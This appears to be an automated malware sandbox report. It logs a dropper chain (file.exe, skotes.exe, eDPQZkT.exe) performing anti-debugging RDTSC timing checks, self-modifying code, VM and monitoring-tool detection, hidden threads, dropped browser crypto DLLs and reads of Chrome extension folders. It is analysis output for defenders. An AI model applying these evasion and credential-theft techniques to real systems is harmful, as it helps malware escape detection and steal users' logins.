Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: FEA9F6 second address: FEAA49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 add dword ptr [esp], 4D237658h 0x0000000c mov dword ptr [ebp+122D32C4h], ebx 0x00000012 lea ebx, dword ptr [ebp+1245F5E8h] 0x00000018 push 00000000h 0x0000001a push edx 0x0000001b call 00007FF40C70B058h 0x00000020 pop edx 0x00000021 mov dword ptr [esp+04h], edx 0x00000025 add dword ptr [esp+04h], 00000016h 0x0000002d inc edx 0x0000002e push edx 0x0000002f ret 0x00000030 pop edx 0x00000031 ret 0x00000032 mov edi, dword ptr [ebp+122D2B15h] 0x00000038 pushad 0x00000039 sub esi, dword ptr [ebp+122D29A5h] 0x0000003f mov bx, 1394h 0x00000043 popad 0x00000044 push eax 0x00000045 pushad 0x00000046 push ebx 0x00000047 push eax 0x00000048 pop eax 0x00000049 pop ebx 0x0000004a pushad 0x0000004b pushad 0x0000004c popad 0x0000004d push eax 0x0000004e push edx 0x0000004f rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: FEAB03 second address: FEAB69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a pushad 0x0000000b jmp 00007FF40CBDB933h 0x00000010 jmp 00007FF40CBDB92Ah 0x00000015 popad 0x00000016 mov eax, dword ptr [eax] 0x00000018 pushad 0x00000019 pushad 0x0000001a jmp 00007FF40CBDB92Dh 0x0000001f jmp 00007FF40CBDB935h 0x00000024 popad 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007FF40CBDB934h 0x0000002c rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: FFD27E second address: FFD282 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: FD2147 second address: FD2166 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007FF40CBDB92Ch 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 pop edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: FD2166 second address: FD216A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 100964F second address: 1009655 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 1009910 second address: 1009916 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 1009916 second address: 100991C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 1009CFD second address: 1009D01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 1009D01 second address: 1009D13 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b ja 00007FF40CBDB926h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 1009D13 second address: 1009D32 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 push ebx 0x00000007 jmp 00007FF40C70B066h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 1009D32 second address: 1009D4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 jmp 00007FF40CBDB92Ah 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 100A177 second address: 100A17B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 100A17B second address: 100A19D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FF40CBDB938h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 100A5FC second address: 100A602 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 100A602 second address: 100A607 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 100A607 second address: 100A626 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FF40C70B063h 0x00000008 jmp 00007FF40C70B05Dh 0x0000000d push eax 0x0000000e push edx 0x0000000f ja 00007FF40C70B056h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 100A626 second address: 100A62A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: FD3CC9 second address: FD3CE2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FF40C70B064h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 100AD78 second address: 100ADAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push edx 0x00000007 pop edx 0x00000008 pushad 0x00000009 popad 0x0000000a pop ebx 0x0000000b jno 00007FF40CBDB92Ch 0x00000011 pushad 0x00000012 jmp 00007FF40CBDB936h 0x00000017 push eax 0x00000018 pop eax 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 100ADAA second address: 100ADC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF40C70B05Eh 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 100ADC6 second address: 100ADCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 100ADCA second address: 100ADD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FF40C70B056h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 100ADD9 second address: 100ADE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 100ADE0 second address: 100ADEA instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FF40C70B062h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 100AF3D second address: 100AF5C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF40CBDB92Eh 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c jnl 00007FF40CBDB926h 0x00000012 pop edx 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 100AF5C second address: 100AF62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 100D620 second address: 100D62F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF40CBDB92Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 100DDEB second address: 100DE36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF40C70B067h 0x00000009 popad 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jnp 00007FF40C70B05Ch 0x00000015 mov eax, dword ptr [eax] 0x00000017 pushad 0x00000018 push eax 0x00000019 jmp 00007FF40C70B066h 0x0000001e pop eax 0x0000001f push ebx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 100DE36 second address: 100DE4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FF40CBDB92Bh 0x00000013 rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 100DE4F second address: 100DE6C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF40C70B069h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 1012437 second address: 101246F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF40CBDB938h 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FF40CBDB939h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: FDC22D second address: FDC233 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 1015889 second address: 1015899 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF40CBDB92Bh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 1015F61 second address: 1015F75 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF40C70B05Eh 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 10160E9 second address: 10160ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 10160ED second address: 10160F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 1018DCE second address: 1018DD4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 1019BB8 second address: 1019BBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 63F98A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 80FA25 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 7F978D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 8777E7 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	Special instruction interceptor: First address: E5EB54 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	Special instruction interceptor: First address: 1017485 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 101EB54 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 11D7485 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Special instruction interceptor: First address: 10C917 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Special instruction interceptor: First address: 2B48EC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Special instruction interceptor: First address: 33E668 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsCAEHDBAAEC.exe

Code function: 24_2_04D103A3 rdtsc

24_2_04D103A3

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1009009001\ead1a5c329.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.4 %

Source: C:\Users\user\Desktop\file.exe TID: 1824	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1796	Thread sleep time: -46023s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5840	Thread sleep time: -40000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3988	Thread sleep time: -46023s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3892	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1160	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8728	Thread sleep count: 83 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8728	Thread sleep time: -2490000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8728	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe TID: 7940	Thread sleep time: -60000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsCAEHDBAAEC.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA5C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6CA5C930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: skotes.exe, skotes.exe, 0000001D.00000002.2753555341.00000000011B2000.00000040.00000001.01000000.0000000E.sdmp, eDPQZkT.exe, 0000001E.00000002.2750936737.0000000000294000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Web Data.9.dr	Binary or memory string: ms.portal.azure.comVMware20,11696494690
Source: file.exe, 00000000.00000002.2005702282.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8
Source: Web Data.9.dr	Binary or memory string: discord.comVMware20,11696494690f
Source: Web Data.9.dr	Binary or memory string: AMC password management pageVMware20,11696494690
Source: Web Data.9.dr	Binary or memory string: outlook.office.comVMware20,11696494690s
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
Source: Web Data.9.dr	Binary or memory string: interactivebrokers.comVMware20,11696494690
Source: Web Data.9.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696494690
Source: Web Data.9.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696494690d
Source: Web Data.9.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696494690u
Source: Web Data.9.dr	Binary or memory string: outlook.office365.comVMware20,11696494690t
Source: file.exe, 00000000.00000002.2005702282.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2005702282.0000000000F73000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001D.00000002.2750756648.0000000000748000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001D.00000002.2750756648.000000000070A000.00000004.00000020.00020000.00000000.sdmp, eDPQZkT.exe, 0000001E.00000002.2753465819.0000000000CEA000.00000004.00000020.00020000.00000000.sdmp, eDPQZkT.exe, 0000001E.00000002.2753465819.0000000000D25000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Web Data.9.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696494690}
Source: Web Data.9.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696494690x
Source: Web Data.9.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
Source: Web Data.9.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696494690
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
Source: Web Data.9.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696494690h
Source: Web Data.9.dr	Binary or memory string: tasks.office.comVMware20,11696494690o
Source: Web Data.9.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
Source: skotes.exe, 0000001D.00000002.2750756648.000000000071F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
Source: Web Data.9.dr	Binary or memory string: dev.azure.comVMware20,11696494690j
Source: Web Data.9.dr	Binary or memory string: global block list test formVMware20,11696494690
Source: file.exe, 00000000.00000002.2005702282.0000000000F2E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Web Data.9.dr	Binary or memory string: turbotax.intuit.comVMware20,11696494690t
Source: Web Data.9.dr	Binary or memory string: bankofamerica.comVMware20,11696494690x
Source: Web Data.9.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696494690}
Source: Web Data.9.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690
Source: eDPQZkT.exe, 0000001E.00000002.2753465819.0000000000D25000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW>
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696494690]
Source: file.exe, 00000000.00000002.2003877523.00000000007C7000.00000040.00000001.01000000.00000003.sdmp, DocumentsCAEHDBAAEC.exe, 00000018.00000002.2035901030.0000000000FF2000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000019.00000002.2062420844.00000000011B2000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 0000001A.00000002.2075581392.00000000011B2000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 0000001D.00000002.2753555341.00000000011B2000.00000040.00000001.01000000.0000000E.sdmp, eDPQZkT.exe, 0000001E.00000002.2750936737.0000000000294000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Web Data.9.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696494690x
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
Source: Web Data.9.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696494690\|UE

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\DocumentsCAEHDBAAEC.exe

Code function: 24_2_04D10733 Start: 04D107A0 End: 04D10742

24_2_04D10733

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
